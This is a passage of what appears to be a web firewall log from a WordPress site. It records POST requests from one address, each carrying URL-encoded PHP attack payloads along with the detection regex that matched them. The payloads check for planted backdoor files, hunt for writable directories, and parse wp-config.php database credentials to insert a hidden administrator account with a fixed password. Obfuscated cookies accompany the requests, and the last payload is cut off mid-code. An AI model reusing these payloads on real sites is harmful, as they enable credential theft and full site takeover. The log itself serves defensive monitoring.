ility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 14:41:43","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> pH:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3339\naccept-encoding:gzip,deflate\n\npH=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-20 17:19:31","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TB:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\n\nTB=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta